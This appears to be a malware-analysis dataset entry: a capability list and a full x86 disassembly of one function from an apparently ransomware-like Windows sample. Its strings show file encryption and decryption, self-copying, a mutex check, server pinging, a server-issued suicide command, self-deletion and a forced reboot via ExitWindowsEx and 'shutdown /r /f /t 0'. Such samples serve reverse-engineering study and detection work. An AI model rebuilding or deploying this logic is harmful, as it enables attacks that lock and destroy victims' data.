Function at 0x40459a
Capabilities:
Accept command line arguments
Check mutex on windows
Create a process with modified i/o handles and window
Create process on windows
Create thread
Get common file path
Get disk information
Get file attributes
Hide graphical window
Initialize winsock library
Read file on windows
Schedule task via at
Self delete
Shutdown system
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x30c
call sub.KERNEL32.DLL_GetCommandLineW
mov dword [ebp - 0x2dc], eax
mov dword [esp], 0x49403c
call sub.KERNEL32.DLL_InitializeCriticalSection
push eax
call fcn.0040a8b3
mov dword [esp + 4], 0x494054
mov dword [esp], 0x1ffe
call sub.KERNEL32.DLL_GetTempPathA
push edx
push edx
mov dword [esp + 4], 0x481979
mov dword [esp], 0x494054
call sub.msvcrt.dll_strcat
mov dword [esp], 0x494054
call fcn.0040a87b
mov dword [esp], 0
call fcn.0040a9f3
mov dword [esp], 0
call fcn.0040a8dd
cmp dword [0x492020], 0
je 0x404632
mov dword [esp], 0
call fcn.0040a906
mov dword [esp], 1
call fcn.0040a8dd
mov dword [esp], str.initDestDir__...
call fcn.0040ace7
mov dword [esp + 4], 0x496054
mov dword [esp], 0x1ffe
call sub.KERNEL32.DLL_GetCurrentDirectoryA
push eax
push eax
mov byte [0x498053], 0
mov edx, 0x49c2b8
mov ecx, 0x1000
xor eax, eax
mov edi, edx
rep stosd dword es:[edi], eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 5
mov dword [esp + 4], edx
mov dword [esp], 0
call sub.SHELL32.DLL_SHGetSpecialFolderPathW
sub esp, 0x10
test eax, eax
je 0x40594b
mov eax, 0x49c2b8
call fcn.004021df
lea eax, [ebp - 0x19]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x49c2b8
lea ebx, [ebp - 0x48]
mov dword [esp], ebx
call fcn.00441450
lea esi, [ebp - 0x44]
mov dword [esp + 4], ebx
mov dword [esp], esi
call fcn.00407bc5
push eax
mov eax, dword [ebp - 0x44]
mov dword [esp + 4], eax
mov dword [esp], str.mydoc:___s_
call fcn.0040ace7
mov dword [esp], esi
call fcn.0044b870
mov dword [esp], ebx
call fcn.00441ab0
mov eax, dword [0x49c2b8]
mov word [ebp - 0x84], ax
mov ax, word [0x49c2ba]
mov word [ebp - 0x82], ax
mov eax, dword [0x49c2bc]
mov word [ebp - 0x80], ax
mov word [ebp - 0x7e], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0x4982b4
mov dword [esp + 8], 0
mov dword [esp + 4], 0
lea eax, [ebp - 0x84]
mov dword [esp], eax
call sub.KERNEL32.DLL_GetVolumeInformationW
sub esp, 0x20
test eax, eax
je 0x40594b
mov eax, dword [0x4982b4]
mov dword [esp + 4], eax
mov dword [esp], str.serno:_0x_08x
call fcn.0040ace7
call fcn.00407663
mov dword [ebp - 0x2e0], eax
xor esi, esi
test eax, eax
je 0x404795
mov eax, dword [ebp - 0x2e0]
mov esi, dword [eax + 4]
mov byte [ebp - 0x2e1], 0
jmp 0x4048a9
mov ebx, dword [esi]
mov dword [esp + 4], str.ANOTHERDAY
mov dword [esp], ebx
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x4047d3
mov byte [0x498054], 1
mov dword [esp], 1
call fcn.0040a8dd
mov dword [esp], 1
jmp 0x4047f5
mov dword [esp + 4], str.nocrypt
mov dword [esp], ebx
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x4047ff
mov byte [0x498055], 1
mov dword [esp], 0
call fcn.0040a906
jmp 0x4048a6
mov dword [esp + 4], str.furry
mov dword [esp], ebx
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x40481f
mov byte [0x492024], 1
jmp 0x4048a6
or ecx, 0xffffffff
mov edi, ebx
xor eax, eax
repne scasb al, byte es:[edi]
cmp ecx, 0xfffffff3
jne 0x4048a6
jmp 0x404857
cmp byte [ebx + 1], 0
jne 0x404841
cmp dl, 0x47
sete byte [0x498056]
jmp 0x40485f
lea ecx, [edx - 0x51]
cmp cl, 9
ja 0x4048a6
imul eax, eax, 0xa
add eax, 0x5a
movsx edx, dl
sub eax, edx
inc ebx
jmp 0x404859
xor eax, eax
mov dl, byte [ebx]
test dl, dl
jne 0x40482f
test eax, eax
je 0x4048a6
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x100000
call sub.KERNEL32.DLL_OpenProcess
sub esp, 0xc
mov dword [0x498058], eax
test eax, eax
jne 0x40489f
mov dword [esp], str.FUCKED000_
call fcn.0040ace7
mov dword [esp], 1
call sub.KERNEL32.DLL_ExitProcess
mov byte [ebp - 0x2e1], 1
mov esi, dword [esi + 4]
test esi, esi
jne 0x4047a1
mov eax, dword [ebp - 0x2e0]
mov dword [esp], eax
call fcn.00407448
cmp byte [ebp - 0x2e1], 0
jne 0x4048db
mov dword [esp], str.not_restarted
call fcn.0040ace7
mov byte [0x498056], 0
mov bl, byte [0x498056]
mov edx, 0x4a02b8
mov ecx, 0x800
xor eax, eax
mov edi, edx
rep stosd dword es:[edi], eax
mov dword [esp + 4], str.Globalgiojheiowrghtiovhjwioj
mov dword [esp], edx
call sub.msvcrt.dll_strcpy
mov dword [esp + 4], 0x4a02b8
mov dword [esp], 0x4a22b8
call sub.msvcrt.dll_strcpy
mov dword [esp + 4], 0x4819ff
mov dword [esp], 0x4a02b8
call sub.msvcrt.dll_strcat
mov dword [esp + 0xc], 0x4a22b8
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], 0
call sub.KERNEL32.DLL_CreateEventA
sub esp, 0x10
mov dword [0x498268], eax
mov dword [esp + 4], 0x4a02b8
mov dword [esp], 0x4a42b8
call sub.msvcrt.dll_strcpy
test bl, bl
je 0x404981
mov dword [esp + 4], 0x481a03
mov dword [esp], 0x4a42b8
call sub.msvcrt.dll_strcat
mov dword [esp], 0
call sub.KERNEL32.DLL_SetLastError
push eax
mov dword [esp + 8], 0x4a42b8
mov dword [esp + 4], 1
mov dword [esp], 0
call sub.KERNEL32.DLL_CreateMutexA
sub esp, 0xc
mov dword [0x4a62b8], eax
test eax, eax
je 0x404a0b
call sub.KERNEL32.DLL_GetLastError
cmp eax, 0xb7
jne 0x4049de
mov dword [esp], str.another_instance_found
call fcn.0040ace7
mov eax, dword [0x4a62b8]
mov dword [esp], eax
call sub.KERNEL32.DLL_CloseHandle
push eax
jmp 0x404a17
mov dword [esp], str.first_instance
call fcn.0040ace7
mov dword [esp + 4], 0x494054
mov dword [esp], 0x1ffe
call sub.KERNEL32.DLL_GetTempPathA
push eax
push eax
cmp byte [0x498056], 0
jne 0x404a23
jmp 0x404a4c
mov dword [esp], str.SHITMUTEX_
call fcn.0040ace7
mov dword [esp], str.another_eme_found_
jmp 0x404df5
mov dword [esp + 4], str.dlogw.log
mov dword [esp], 0x494054
call sub.msvcrt.dll_strcat
mov dword [esp], 0x494054
call fcn.0040a87b
mov dword [esp], str.meIsClient:_YES
jmp 0x404a73
mov dword [esp + 4], str.dlogn.log
mov dword [esp], 0x494054
call sub.msvcrt.dll_strcat
mov dword [esp], 0x494054
call fcn.0040a87b
mov dword [esp], str.meIsClient:_NO
call fcn.0040ace7
lea eax, [ebp - 0x1e]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x2dc]
mov dword [esp + 4], eax
lea ebx, [ebp - 0x68]
mov dword [esp], ebx
call fcn.00441450
lea esi, [ebp - 0x64]
mov dword [esp + 4], ebx
mov dword [esp], esi
call fcn.00407bc5
push edi
mov eax, dword [ebp - 0x64]
mov dword [esp + 4], eax
mov dword [esp], str.cl:___s_
call fcn.0040ace7
mov dword [esp], esi
call fcn.0044b870
mov dword [esp], ebx
call fcn.00441ab0
cmp dword [ebp - 0x2dc], 0
je 0x404baf
mov eax, dword [ebp - 0x2dc]
cmp word [eax], 0x3a
jne 0x404baf
cmp word [eax + 2], 0x2a
jne 0x404baf
mov edx, eax
add edx, 4
mov eax, edx
jmp 0x404b18
cmp cx, 0x2a
jne 0x404b15
cmp eax, edx
jbe 0x404b0e
cmp word [eax - 2], 0x20
jne 0x404b0e
sub eax, 2
jmp 0x404afe
mov word [eax], 0
jmp 0x404b20
add eax, 2
mov cx, word [eax]
test cx, cx
jne 0x404af8
lea eax, [ebp - 0x1d]
mov dword [esp + 8], eax
mov dword [esp + 4], edx
lea esi, [ebp - 0x60]
mov dword [esp], esi
call fcn.00441450
lea ebx, [ebp - 0x5c]
mov dword [esp + 4], esi
mov dword [esp], ebx
call fcn.00407bc5
push esi
mov eax, dword [ebp - 0x5c]
mov dword [esp + 4], eax
mov dword [esp], str.deleting___s_
call fcn.0040ace7
mov dword [esp], ebx
call fcn.0044b870
call fcn.00401739
test al, al
jne 0x404b90
mov dword [esp], str.WTF__
call fcn.0040ace7
jmp 0x404b9f
mov eax, dword [ebp - 0x60]
mov dword [esp], eax
call sub.KERNEL32.DLL_GetFileAttributesW
push ecx
test al, 0x11
jne 0x404b9f
mov eax, dword [ebp - 0x60]
call fcn.00402962
mov eax, dword [ebp - 0x60]
mov dword [esp], eax
call sub.KERNEL32.DLL_GetFileAttributesW
push edx
inc eax
jne 0x404b78
lea eax, [ebp - 0x60]
mov dword [esp], eax
call fcn.00441ab0
jmp 0x404f6c
call fcn.00401739
test al, al
jne 0x404f60
mov dword [esp + 8], 0x1fff
mov dword [esp + 4], 0x4aa2c0
mov dword [esp], 0
call sub.KERNEL32.DLL_GetModuleFileNameW
sub esp, 0xc
call fcn.00401685
mov dword [0x4ae2c0], eax
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0x8000080
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 1
mov dword [esp + 4], 0x80000000
mov dword [esp], 0x4aa2c0
call sub.KERNEL32.DLL_CreateFileW
sub esp, 0x1c
mov esi, eax
cmp eax, 0xffffffff
je 0x404dee
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0x88000080
mov dword [esp + 0x10], 2
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x40000000
mov eax, dword [0x4ae2c0]
mov dword [esp], eax
call sub.KERNEL32.DLL_CreateFileW
sub esp, 0x1c
mov ebx, eax
test eax, eax
jne 0x404c83
mov dword [esp], esi
call sub.KERNEL32.DLL_CloseHandle
push eax
jmp 0x404dee
mov dword [esp], 0x100000
call sub.msvcrt.dll_malloc
mov edi, eax
mov dword [esp + 0x10], 0
lea edx, [ebp - 0x40]
mov dword [esp + 0xc], edx
mov dword [esp + 8], 0x100000
mov dword [esp + 4], edi
mov dword [esp], esi
call sub.KERNEL32.DLL_ReadFile
sub esp, 0x14
mov eax, dword [ebp - 0x40]
test eax, eax
je 0x404d11
mov dword [esp + 0x10], 0
lea edx, [ebp - 0x3c]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov dword [esp + 4], edi
mov dword [esp], ebx
call sub.KERNEL32.DLL_WriteFile
sub esp, 0x14
mov eax, dword [ebp - 0x3c]
cmp dword [ebp - 0x40], eax
je 0x404c91
mov dword [esp], esi
call sub.KERNEL32.DLL_CloseHandle
push eax
mov dword [esp], ebx
call sub.KERNEL32.DLL_CloseHandle
push eax
mov eax, dword [0x4ae2c0]
call fcn.00402962
mov dword [esp], edi
call fcn.0041afa8
jmp 0x404dee
mov dword [esp], 0
call fcn.00414570
mov dword [ebp - 0x38], eax
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x3c]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 4
lea eax, [ebp - 0x38]
mov dword [esp + 4], eax
mov dword [esp], ebx
call sub.KERNEL32.DLL_WriteFile
sub esp, 0x14
cmp dword [ebp - 0x3c], 4
jne 0x404ce8
mov dword [esp], ebx
call sub.KERNEL32.DLL_FlushFileBuffers
push edx
mov dword [esp], esi
call sub.KERNEL32.DLL_CloseHandle
push ecx
mov dword [esp], ebx
call sub.KERNEL32.DLL_CloseHandle
push ebx
mov dword [esp], edi
call fcn.0041afa8
call fcn.00401685
lea edx, [ebp - 0x1c]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
lea ebx, [ebp - 0x58]
mov dword [esp], ebx
call fcn.00441450
lea esi, [ebp - 0x54]
mov dword [esp + 4], ebx
mov dword [esp], esi
call fcn.00407bc5
push edi
mov eax, dword [ebp - 0x54]
mov dword [esp + 4], eax
mov dword [esp], str.copied_to___s_
call fcn.0040ace7
mov dword [esp], esi
call fcn.0044b870
mov dword [esp], ebx
call fcn.00441ab0
mov dword [esp], 0xa000
call sub.msvcrt.dll_malloc
mov esi, eax
mov dword [esp], 0xa000
call sub.msvcrt.dll_malloc
mov ebx, eax
mov dword [ebp - 0x60], 0x47fc4c
mov eax, dword [0x4a62b8]
test eax, eax
jne 0x404dff
jmp 0x404e08
mov dword [esp], str.copying_failed_
call fcn.0040ace7
jmp 0x40594b
mov dword [esp], eax
call sub.KERNEL32.DLL_CloseHandle
push eax
lea edx, [ebp - 0x144]
mov ecx, 0x11
xor eax, eax
mov edi, edx
rep stosd dword es:[edi], eax
mov dword [ebp - 0x144], 0x44
mov dword [ebp - 0x118], pe_nt_image_headers32
cmp dword [0x498058], 0
jne 0x404e43
mov dword [esp], 0
call sub.KERNEL32.DLL_CloseHandle
push eax
mov dword [0x498058], 0
mov dword [esp + 8], 0x1fff
mov dword [esp + 4], esi
mov dword [esp], 0
call sub.KERNEL32.DLL_GetModuleFileNameW
sub esp, 0xc
mov word [esi + 0x3ffe], 0
mov dword [esp + 8], esi
mov dword [esp + 4], str.:_s_
mov dword [esp], ebx
call sub.msvcrt.dll_swprintf
call fcn.00401685
mov edi, eax
mov dword [esp + 4], ebx
lea esi, [ebp - 0x60]
mov dword [esp], esi
call fcn.004402d0
mov eax, esi
call fcn.00402b1b
mov eax, dword [ebp - 0x60]
mov dword [esp + 4], eax
mov dword [esp], ebx
call sub.msvcrt.dll_wcscpy
lea eax, [ebp - 0x34]
mov dword [esp + 4], esi
mov dword [esp], eax
mov dword [ebp - 0x2e8], eax
call fcn.00407bc5
push eax
mov edx, dword [ebp - 0x34]
mov dword [esp + 4], edx
mov dword [esp], str.restart_remove_arg:___s_
call fcn.0040ace7
mov eax, dword [ebp - 0x2e8]
mov dword [esp], eax
call fcn.0044b870
lea eax, [ebp - 0xe4]
mov dword [esp + 0x24], eax
lea eax, [ebp - 0x144]
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0x4000208
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], ebx
mov dword [esp], edi
call sub.KERNEL32.DLL_CreateProcessW
sub esp, 0x28
test eax, eax
jne 0x40594b
mov dword [esp], ebx
call fcn.0041afa8
mov dword [esp], edi
call fcn.0041afa8
mov dword [esp], esi
call fcn.00441ab0
jmp 0x40594b
mov dword [esp], str.we_are_right_in_place
call fcn.0040ace7
call fcn.00402f3d
mov eax, 0x481972
cmp byte [0x498056], 0
je 0x404f84
mov eax, 0x48196e
mov dword [esp + 4], eax
mov dword [esp], str.watcher:__s
call fcn.0040ace7
mov dword [esp], str.
call fcn.0040ace7
mov dword [esp], str.starting_eme_n
call fcn.0040ace7
mov dword [esp + 0xc], str.08:41:51
mov dword [esp + 8], str.Apr__9_2013
mov dword [esp + 4], str.CD:__s__s
mov dword [esp], 0x49805c
call sub.msvcrt.dll_sprintf
mov dword [esp + 8], 0xffffffff
mov dword [esp + 4], 0xffffffff
mov dword [esp], 0x49805c
call fcn.0040a45f
mov dword [0x49825c], eax
mov dword [esp + 4], eax
mov dword [esp], 0x481b6a
call fcn.0040ace7
mov eax, dword [0x49825c]
mov dword [esp], eax
call fcn.0041afa8
cmp byte [0x498056], 0
je 0x40506e
mov dword [esp], str.im_watcher_
call fcn.0040ace7
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x405a96
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.msvcrt.dll__beginthreadex
mov dword [esp + 4], 0xffffffff
mov dword [esp], eax
call sub.KERNEL32.DLL_WaitForSingleObject
push eax
push eax
jmp 0x4054d6
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x401b12
mov dword [esp + 4], 0xe
mov dword [esp], 0
call sub.KERNEL32.DLL_EnumResourceNamesA
sub esp, 0x10
cmp dword [0x498260], 0
jne 0x4050c5
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x401b12
mov dword [esp + 4], 3
mov dword [esp], 0
call sub.KERNEL32.DLL_EnumResourceNamesA
sub esp, 0x10
lea eax, [ebp - 0x2d4]
mov dword [esp + 4], eax
mov dword [esp], 0x101
call sub.WS2_32.dll_WSAStartup
push eax
push eax
mov dword [esp], str.im_master_
call fcn.0040ace7
cmp dword [0x498058], 0
jne 0x405107
call fcn.00402b5c
test al, al
jne 0x405107
mov dword [esp], str.cant_run_watcher_
call fcn.0040ace7
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x405a96
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.msvcrt.dll__beginthreadex
mov dword [0x498264], eax
lea edi, [ebp - 0x2c]
mov eax, dword [str.microsoft.com]
test eax, eax
je 0x405204
mov dword [esp + 0xc], edi
lea edx, [ebp - 0x28]
mov dword [esp + 8], edx
lea edx, [ebp - 0x30]
mov dword [esp + 4], edx
mov dword [esp], eax
call fcn.004072d1
test eax, eax
jne 0x405204
mov byte [ebp - 0xd4], 0
mov edx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x28]
test eax, eax
jg 0x405188
mov eax, 0x50
mov dword [esp + 0x14], 0x481612
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 0x481613
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x30]
mov dword [esp + 4], eax
lea ebx, [ebp - 0xd4]
mov dword [esp], ebx
call fcn.00405fd5
test eax, eax
jne 0x4051ee
mov dword [esp + 4], 0
mov dword [esp], ebx
call fcn.00406247
lea eax, [ebp - 0x24]
mov dword [esp + 4], eax
mov dword [esp], ebx
call fcn.00406387
mov esi, eax
mov dword [esp], ebx
call fcn.00405f7f
test esi, esi
je 0x4051ee
mov dword [esp], esi
call fcn.0041afa8
mov eax, dword [ebp - 0x2c]
mov dword [esp], eax
call fcn.0041afa8
mov eax, dword [ebp - 0x30]
mov dword [esp], eax
call fcn.0041afa8
mov dword [esp], 0xbb8
call sub.KERNEL32.DLL_Sleep
push eax
xor ebx, ebx
lea esi, [ebp - 0x74]
jmp 0x4053a5
mov dword [esp + 4], eax
mov dword [esp], str.pinging:___s_
call fcn.0040ace7
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x74], 0
mov dword [ebp - 0x70], 0
mov dword [ebp - 0x6c], 0
mov edx, dword [ebx*4 + 0x47a008]
mov dword [esp], esi
mov ecx, str.start
lea eax, [ebp - 0x24]
call fcn.00402f9f
mov dword [esp], esi
mov dword [ebp - 0x2e8], eax
call fcn.0046a688
mov edx, dword [ebp - 0x2e8]
test edx, edx
je 0x4053a4
mov eax, dword [ebp - 0x24]
test eax, eax
je 0x4052a8
cmp eax, 9
jg 0x405341
mov dword [esp + 4], 0x481bb0
mov dword [esp], edx
call sub.msvcrt.dll__stricmp
test eax, eax
mov edx, dword [ebp - 0x2e8]
jne 0x405341
mov dword [esp], edx
call fcn.0041afa8
mov byte [0x47a019], 0
mov byte [0x47a018], 0
mov byte [0x492026], 1
mov dword [esp], str.server_commands_suicide
call fcn.0040ace7
mov eax, dword [0x498268]
mov dword [esp], eax
call sub.KERNEL32.DLL_SetEvent
push esi
mov dword [esp], str.scs:_decrypt
call fcn.0040ace7
xor eax, eax
call fcn.00404490
mov dword [esp], str.scs:_waiting_thread_dies
call fcn.0040ace7
mov dword [esp + 4], 0x2710
mov eax, dword [0x498264]
mov dword [esp], eax
call sub.KERNEL32.DLL_WaitForSingleObject
push edi
push edi
mov dword [esp], str.scs:_calling_deleteSelf__
call fcn.0040ace7
call fcn.0040225c
call fcn.00402232
call fcn.00401bbd
xor eax, eax
cmp byte [0x49826c], 0
je 0x4053c3
jmp 0x4053b9
mov dword [esp + 4], edx
mov dword [esp], 0x4982a8
mov dword [ebp - 0x2e8], edx
call fcn.0044a240
mov eax, dword [ebx*4 + 0x47a008]
mov dword [esp], eax
call sub.msvcrt.dll__strdup
mov dword [0x4982b0], eax
mov edx, dword [ebp - 0x2e8]
mov dword [esp], edx
call fcn.0041afa8
mov dword [esp], 0x481c0c
call fcn.0040ace7
mov eax, 1
call fcn.00404490
mov edx, 0x481977
cmp byte [0x49826d], 0
je 0x4053cb
mov edx, 0x481975
jmp 0x4053cb
inc ebx
mov eax, dword [ebx*4 + 0x47a008]
test eax, eax
jne 0x40521b
jmp 0x40599c
cmp byte [0x49826d], 0
setne al
movzx eax, al
call fcn.004022be
mov eax, 0x481977
cmp byte [0x49826c], 0
je 0x4053de
mov eax, 0x481975
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov dword [esp], str.was_files:__s__was_encrypted_files:__s
call fcn.0040ace7
cmp byte [0x49826c], 0
je 0x405495
cmp byte [0x49826d], 0
jne 0x405495
mov dword [esp], str.trying_reboot
call fcn.0040ace7
mov dword [esp + 4], 0
mov dword [esp], 0x12
call sub.USER32.dll_ExitWindowsEx
push ebx
push ebx
test eax, eax
jne 0x40546a
mov dword [esp + 4], 0
mov dword [esp], 6
call sub.USER32.dll_ExitWindowsEx
push ecx
push ecx
test eax, eax
jne 0x40546a
mov dword [esp + 4], 0
mov dword [esp], 2
call sub.USER32.dll_ExitWindowsEx
push edx
push edx
test eax, eax
je 0x405957
mov dword [esp], str.shutdown_ok
call fcn.0040ace7
mov eax, dword [0x498268]
mov dword [esp], eax
call sub.KERNEL32.DLL_SetEvent
push eax
jmp 0x40594b
mov dword [esp], str.reboot_failed
call fcn.0040ace7
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x4059ba
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.msvcrt.dll__beginthreadex
test eax, eax
je 0x4054d6
mov dword [esp], eax
call sub.KERNEL32.DLL_CloseHandle
push edi
mov edx, 0x498270
mov ecx, 0xc
xor eax, eax
mov edi, edx
rep stosd dword es:[edi], eax
mov dword [0x498270], 0x30
mov dword [0x498274], 3
mov dword [0x498278], 0x401c2b
mov dword [esp], 0
call sub.KERNEL32.DLL_GetModuleHandleA
push edx
mov dword [0x498284], eax
mov eax, dword [0x498260]
mov dword [0x498288], eax
mov dword [esp + 4], 0x7f00
mov dword [esp], 0
call sub.USER32.dll_LoadCursorA
push ecx
push ecx
mov dword [0x49828c], eax
mov dword [0x498290], 6
mov dword [0x498294], 0
mov dword [0x498298], 0x48114e
mov eax, dword [0x498260]
mov dword [0x49829c], eax
mov dword [esp], 0x498270
call sub.USER32.dll_RegisterClassExA
push ebx
mov dword [esp], str.CoInitializeEx__...
call fcn.0040ace7
mov dword [esp + 4], 2
mov dword [esp], 0
call sub.ole32.dll_CoInitializeEx
push esi
push esi
test eax, eax
js 0x404893
mov dword [esp], str.createMainWindow
call fcn.0040ace7
mov dword [esp], 0
call sub.KERNEL32.DLL_GetModuleHandleA
push edx
mov dword [esp + 0x2c], 0
mov dword [esp + 0x28], eax
mov dword [esp + 0x24], 0
mov dword [esp + 0x20], 0
mov dword [esp + 0x1c], 0xc8
mov dword [esp + 0x18], 0x140
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0x6ca0000
mov dword [esp + 8], 0x481129
mov dword [esp + 4], str.MAINWINCLASS
mov dword [esp], 0x40000
call sub.USER32.dll_CreateWindowExA
sub esp, 0x30
mov ebx, eax
mov dword [esp + 8], 0x401f7c
mov dword [esp + 4], 0xfffffffc
mov dword [esp], eax
call sub.USER32.dll_SetWindowLongA
sub esp, 0xc
mov dword [0x492028], eax
mov dword [esp + 0xc], 0
lea eax, [ebp - 0x94]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x30
call sub.USER32.dll_SystemParametersInfoA
sub esp, 0x10
lea eax, [ebp - 0xa4]
mov dword [esp + 4], eax
mov dword [esp], ebx
call sub.USER32.dll_GetWindowRect
push ecx
push ecx
mov esi, dword [ebp - 0xa4]
mov edi, dword [ebp - 0x9c]
mov eax, dword [ebp - 0xa0]
mov edx, dword [ebp - 0x98]
mov dword [esp + 0x14], 1
mov ecx, edx
sub ecx, eax
mov dword [esp + 0x10], ecx
mov ecx, edi
sub ecx, esi
mov dword [esp + 0xc], ecx
mov ecx, dword [ebp - 0x88]
sub ecx, dword [ebp - 0x90]
sub eax, edx
add eax, ecx
mov ecx, 2
cdq
idiv ecx
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x8c]
sub eax, dword [ebp - 0x94]
sub esi, edi
add eax, esi
cdq
idiv ecx
mov dword [esp + 4], eax
mov dword [esp], ebx
call sub.USER32.dll_MoveWindow
sub esp, 0x18
lea eax, [ebp - 0xc4]
mov dword [esp + 4], eax
mov dword [esp], ebx
call sub.USER32.dll_GetWindowRect
push esi
push esi
lea eax, [ebp - 0xb4]
mov dword [esp + 4], eax
mov dword [esp], ebx
call sub.USER32.dll_GetClientRect
push edi
push edi
mov eax, dword [ebp - 0xbc]
sub eax, dword [ebp - 0xc4]
sub eax, dword [ebp - 0xac]
mov dword [0x49402c], eax
mov eax, dword [ebp - 0xb8]
sub eax, dword [ebp - 0xc0]
sub eax, dword [ebp - 0xa8]
mov dword [0x494030], eax
mov dword [esp + 4], 0
mov dword [esp], ebx
call sub.USER32.dll_ShowWindow
push eax
push eax
mov dword [esp], str.new_HTMLWin__
call fcn.0040ace7
lea eax, [ebp - 0x1b]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x481c91
lea esi, [ebp - 0x50]
mov dword [esp], esi
call fcn.0044b250
mov dword [esp], 0x3c
call fcn.00475f30
mov edi, eax
mov dword [esp + 8], esi
mov dword [esp + 4], ebx
mov dword [esp], eax
call fcn.00403328
mov dword [0x4982a0], edi
mov dword [esp], esi
call fcn.0044b870
mov eax, dword [0x4982a0]
test eax, eax
je 0x404893
mov dword [esp + 4], 0
mov eax, dword [eax + 4]
mov dword [esp], eax
call sub.USER32.dll_ShowWindow
push eax
push eax
mov dword [esp], 0x481c95
call fcn.0040ace7
mov eax, dword [0x4982a0]
mov eax, dword [eax]
mov esi, dword [eax + 0x28]
lea eax, [ebp - 0x1a]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x481c95
lea ebx, [ebp - 0x4c]
mov dword [esp], ebx
call fcn.0044b250
mov dword [esp + 4], ebx
mov eax, dword [0x4982a0]
mov dword [esp], eax
call esi
mov dword [esp], ebx
call fcn.0044b870
mov dword [esp], str.waitForComplete__
call fcn.0040ace7
mov eax, dword [0x4982a0]
mov edx, dword [eax]
mov dword [esp], eax
call dword [edx + 0x30]
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0xc8
mov dword [esp + 4], 0x1008
mov eax, dword [0x4982a0]
mov eax, dword [eax + 4]
mov dword [esp], eax
call sub.USER32.dll_SetTimer
sub esp, 0x10
mov eax, dword [0x4982a0]
mov byte [eax + 0x3a], 1
mov dword [esp + 4], 0
mov eax, dword [eax + 4]
mov dword [esp], eax
call sub.USER32.dll_ShowWindow
push eax
push eax
mov byte [0x4982a4], 0
mov eax, dword [0x4982a0]
mov dword [esp], eax
call fcn.00408872
mov dword [esp], str.loading_index.html...
call fcn.0040ace7
mov eax, dword [0x4982a0]
mov edx, dword [eax]
mov dword [esp + 4], 0x4982a8
mov dword [esp], eax
call dword [edx + 0x28]
mov dword [esp], str.after_URL_index.html_...
call fcn.0040ace7
lea ebx, [ebp - 0x100]
mov esi, 0x3e8
jmp 0x405920
inc eax
je 0x40594b
mov dword [esp], ebx
call sub.USER32.dll_TranslateMessage
push eax
mov eax, dword [ebp - 0xfc]
lea edx, [eax - 0x100]
cmp edx, 9
ja 0x405901
mov edx, dword [ebp - 0xf4]
mov dword [esp + 0xc], edx
mov edx, dword [ebp - 0xf8]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov eax, dword [0x4982a0]
mov eax, dword [eax + 8]
mov dword [esp], eax
call sub.USER32.dll_SendMessageA
sub esp, 0x10
cmp dword [0x4982ac], 0
jne 0x405917
call sub.KERNEL32.DLL_GetTickCount
cdq
idiv esi
mov dword [0x4982ac], eax
mov dword [esp], ebx
call sub.USER32.dll_DispatchMessageA
push edi
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], ebx
call sub.USER32.dll_GetMessageA
sub esp, 0x10
test eax, eax
jne 0x4058b5
mov dword [esp], 0
jmp 0x40489a
mov dword [esp + 0x14], 5
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], str._r__f__t_0
mov dword [esp + 8], str.shutdown
mov dword [esp + 4], str.open
mov dword [esp], 0
call sub.SHELL32.DLL_ShellExecuteW
sub esp, 0x18
cmp eax, 0x1f
jbe 0x405489
jmp 0x40546a
mov dword [esp], str.WTF__
call fcn.0040ace7
mov dword [esp], 0x7530
call sub.KERNEL32.DLL_Sleep
push ecx
jmp 0x405143